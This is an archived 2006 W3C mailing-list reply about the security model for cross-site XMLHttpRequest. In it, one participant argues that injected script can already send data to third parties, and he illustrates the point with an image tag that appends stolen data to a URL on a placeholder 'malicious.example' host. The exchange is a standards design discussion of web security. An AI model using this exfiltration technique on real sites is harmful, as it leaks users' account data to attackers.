W3C home > Mailing lists > Public > public-webapi@w3.org > April 2006

Re: (XMLHttpRequest 2) Second proposal for cross-site extensions to XMLHttpRequest

From: Bjoern Hoehrmann <derhoermi@gmx.net>
Date: Tue, 18 Apr 2006 14:01:08 +0200
To: Ian Davis <ian.davis@talis.com>
Cc: public-webapi@w3.org
Message-ID: <8rk942tsflbaeaslcijalvj612shb21593@hive.bjoern.hoehrmann.de>

* Ian Davis wrote:
>My concern with this security model is that it doesn't prevent malicious 
>scripts injected into a site from calling back to a host. For example I 
>can set up a server to allow requests from all then contrive to inject a 
>script via a broken forum that sends account details back to my server. 
>The current cross-domain scripting rules prevent this.

If you are able to inject some script you can send any and all data you
are able to obtain to a third party, in a simple case you could just
append the data to a new <img src="http://malicious.example/?data=...">.
So I don't think I understand your concern, could you elaborate?
-- 
Björn Höhrmann · mailto:bjoern@hoehrmann.de · http://bjoern.hoehrmann.de
Weinh. Str. 22 · Telefon: +49(0)621/4309674 · http://www.bjoernsworld.de
68309 Mannheim · PGP Pub. KeyID: 0xA4357E78 · http://www.websitedev.de/ 
Received on Tuesday, 18 April 2006 12:28:45 GMT

This archive was generated by hypermail 2.2.0+W3C-0.50 : Tuesday, 8 January 2008 14:18:54 GMT